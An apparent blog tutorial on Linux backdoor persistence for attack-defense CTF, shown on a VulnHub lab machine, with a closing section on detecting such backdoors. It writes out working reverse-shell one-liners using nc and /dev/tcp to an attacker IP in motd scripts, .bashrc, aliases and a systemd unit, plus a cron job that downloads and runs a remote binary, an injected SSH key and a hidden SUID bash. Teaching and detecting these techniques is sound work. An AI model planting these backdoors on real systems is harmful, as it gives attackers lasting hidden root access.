In Attack-Defense CTF, leaving backdoors is an important part of maintaining access on the target system. As a result, learning some of the backdoor techniques is essential, not only for attackers but also for defenders.
Backdoors, what is it?
Well, I’m not going to go into as much detail as Wikipedia, but here’s:
A backdoor is a hidden piece of code, script, or a program that is placed on a system for persistence purposes, with that you don’t have to exploit the same system twice. It simply gives you quicker and instant access to the system.
Now that we know what a backdoor is, let’s find out where the attackers typically hide them in a Linux system. For demonstration, I’ll be using the Pinky’s Palace machine from VulnHub, and let’s pretend it’s been compromised.
1. SSH authorized_keys file
SSH authorized_keys file contains a list of authorized users/public keys that are allowed to login into a specific account. In this file, the attackers can also place their public keys to authorize themselves and get instant access to the system via SSH.
For example, below are the exploitation steps to gain root access on the target system (Pinky’s Palace).
Of course, as an attacker, I don’t want to repeat all these exploitation steps all over again.
So instead, on my attacking machine, I can generate a new pair of SSH keys for backdoor purpose.
The newly generated SSH public key (
backdoor_ssh.pub) can be inserted into the root
authorized_keys file of the compromised system as a backdoor.
mkdir -p /root/.ssh/ && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILaxTiK3WJJ422K1yf/9yXFWBeWV6mpZxMEualO2uIul root@kali' > /root/.ssh/authorized_keys
Now by specifying
backdoor_ssh as the identity file (private key), I’m able to gain access on the compromised system via SSH.
2. SSH motd
This is one of the cool tricks I’ve learned from HackTheBox machine called Traceback.
Motd (Message of the day) is the banner that appears when you log in to a machine using SSH. For Ubuntu/Debian motd scripts can be found under
/etc/update-motd.d/. By default, other users don’t have write permission on that directory.
In the image above, there is only one motd script called
As an attacker, I could place a new script there as a backdoor. For example, I will put a netcat reverse shell script called
root@pinkys-palace:/etc/update-motd.d# echo -e '#!/bin/sh\nnc 192.168.2.103 9001 -e /bin/bash &' > 20-backdoor && chmod +x 20-backdoor
Then I will setup a netcat listener and login into the compromised machine using a low privilege account named
As you can see, that SSH login triggered my reverse shell backdoor.
But wait, I logged in using pinky. How did I end up with a root shell?
Here is the answer:
Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8) as the root user at each login, and this information is concatenated in /var/run/motd. The order of script execution is determined by the run-parts(8) –lsbsysinit option (basically alphabetical order, with a few caveats).
3. User’s .bashrc - Interactive session
.bashrc is one of the startup scripts used by Bourne shell aka
bash. If there is a user who uses
bash as their login shell, then this
.bashrc will be executed for each interactive session they launch.
Here are some actions that trigger interactive session:
In the image above, I inserted a non malicious line script
echo "I'm triggered" to my
.bashrc. But now, as an attacker, I can put a reverse shell there, and I will just wait for someone to log in to trigger it.
pinky@pinkys-palace:~$ echo 'nc 192.168.2.103 9001 -e /bin/bash >/dev/null &' > .bashrc
4. User’s .bashrc - Aliases
As an attacker, I can also put the backdoor in the users' aliases!
Here is an example of a backdoored
root@pinkys-palace:~# alias cd='$(nc 192.168.2.103 9001 -e /bin/bash&); cd'
Here are some alias backdoors:
5. Cron jobs
Cron is a feature from Linux/UNIX-like OS that can be used to periodically perform a specific job or task just like Task Scheduler in Windows.
Here is an example of a backdoor using Cron job.
root@pinkys-palace:~# echo '* * * * * root cd /tmp; wget 192.168.2.103/backdoor && chmod +x backdoor && ./backdoor' > /etc/cron.d/backdoor
What the task above does is it will download a malicious binary called ‘backdoor’ from my attacking machine, and the backdoor is then executed once every minute.
6. Backdoor as a Service
An attacker can also create a backdoor as a service (BaaS). Here is an example of BaaS in a single file (
[Service] Type=simple User=root ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.2.103/9001 0>&1" [Install] WantedBy=multi-user.target'
When the service is started, it launches a reverse shell to the attacker.
root@pinkys-palace:/etc/systemd/system# systemctl start backdoor.service
It can be enabled on boot by issuing the following command:
root@pinkys-palace:/etc/systemd/system# systemctl enable backdoor.service
The last one on this post is SUID. SUID allows other user to run an executable binary as the owner of the executable.
As an example, I can make a copy of bash binary (owned by root) called
.backdoor (notice the dot) with SUID permission set to a low privilege user who has been compromised.
Why do I add dot?
Some poeple tend to just use
ls -l rather than
ls -la, and this becomes an advantage for attackers to put a backdoor with a dot. It’s not just about SUID though, it applies to other backdoors as well (out of topic but cough and
.git folder cough).
Blue team side
Before reading further, I’ll state that if your server (irl) gets hacked, it’s better to restore the server’s backup or completely rebuild it from scratch, because in the real world, those backdoors can be obfuscated and combined with other techniques (not to mention there might be a rootkit too), making it difficult to detect/find.
Also what I share here might not be that effective, but here is how I usually deal with those backdoors in attack-defense CTF.
SSH keys and .bashrc.
Make sure to regularly check the all the users
In the image below, there is a public key with a foreign hostname
kali instead of
pinkys-palace, then we should suspect it.
Well, actually, the attackers might have tricked it to look like it was a legitimate one.
My workaround here is why don’t we create a ‘skeleton’ file of all the
authorized_keys files and set a Cronjob which automatically reverts these files back to its original state, and I might perform this remotely via
scp. This can be applied as well to handle backdoor in
You can find the skeleton file of
It’s not always placed under
/etc/update-motd.d/, but make sure the motd directory is only writable by root, note the default list of motd files and apply the same thing as above (skeleton file) because the attackers might have inserted a backdoor in the original files.
We could also do some ‘forensics’ using timestamp:
root@MSI:/etc/update-motd.d# ls --full-time
For example, these files with the timestamp
000000000 (nano) in the image below have most likely not been modified and are still in their original state.
After inserting a non-malicious line, the timestamp changed. From here, it’s safe to assume that someone/something has modified it.
Cronjobs and Services
We can monitor the process using
ps command. Anything that looks like a program with unknown IP and a port supplied as its args (a reverse shell or a bind shell) is definitely suspicious.
For this, we can look for any unwanted open ports using this command:
$ netstat -antp | grep LISTEN
To find a suspicious connection we can use this command:
$ netstat -antp | grep ESTABLISHED
Sometimes the state of a reverse shell backdoor is neither ESTABLISHED nor LISTEN but SYN_SENT. This occurs when the backdoor fail to reach out the attacker. To find this we can use the following command:
$ netstat -antp | grep SYN_SENT
We could also check each user’s crontab using the following commands:
$ for user in $(cat /etc/passwd | cut -f1 -d: ); do echo $user; crontab -u $user -l; done # Only users who have login shell $ for user in $(cat /etc/passwd | grep sh$ | cut -f1 -d: ); do echo $user; crontab -u $user -l; done
There is also the
ps -f command which is pretty good at visualizing the process tree. For example, here we know that the culprit that keeps opening the HTTPS port (443) is probably on
.bashrc file because it gets triggered every time we launch a bash shell (interactive session).
If you prefer the detailed view, consider to use
ps auxfww to show process tree with username, TTY, and a wide output.
To find some suspicious SUID we can use the
find commands. It can also detect the SUID that started with dot!
root@pinkys-palace:/etc/update-motd.d# find / -type f -perm 4755 2>/dev/null
Sorry for my stupidity, I forget to update this section.
-perm 4755, you will not find a file with permissions set to
We can change it to
-perm -u=s, so it will always search for the SUID permission (the
$ find / -type f -perm -u=s 2>/dev/null
Okay, that’s all in this post, I hope you like it.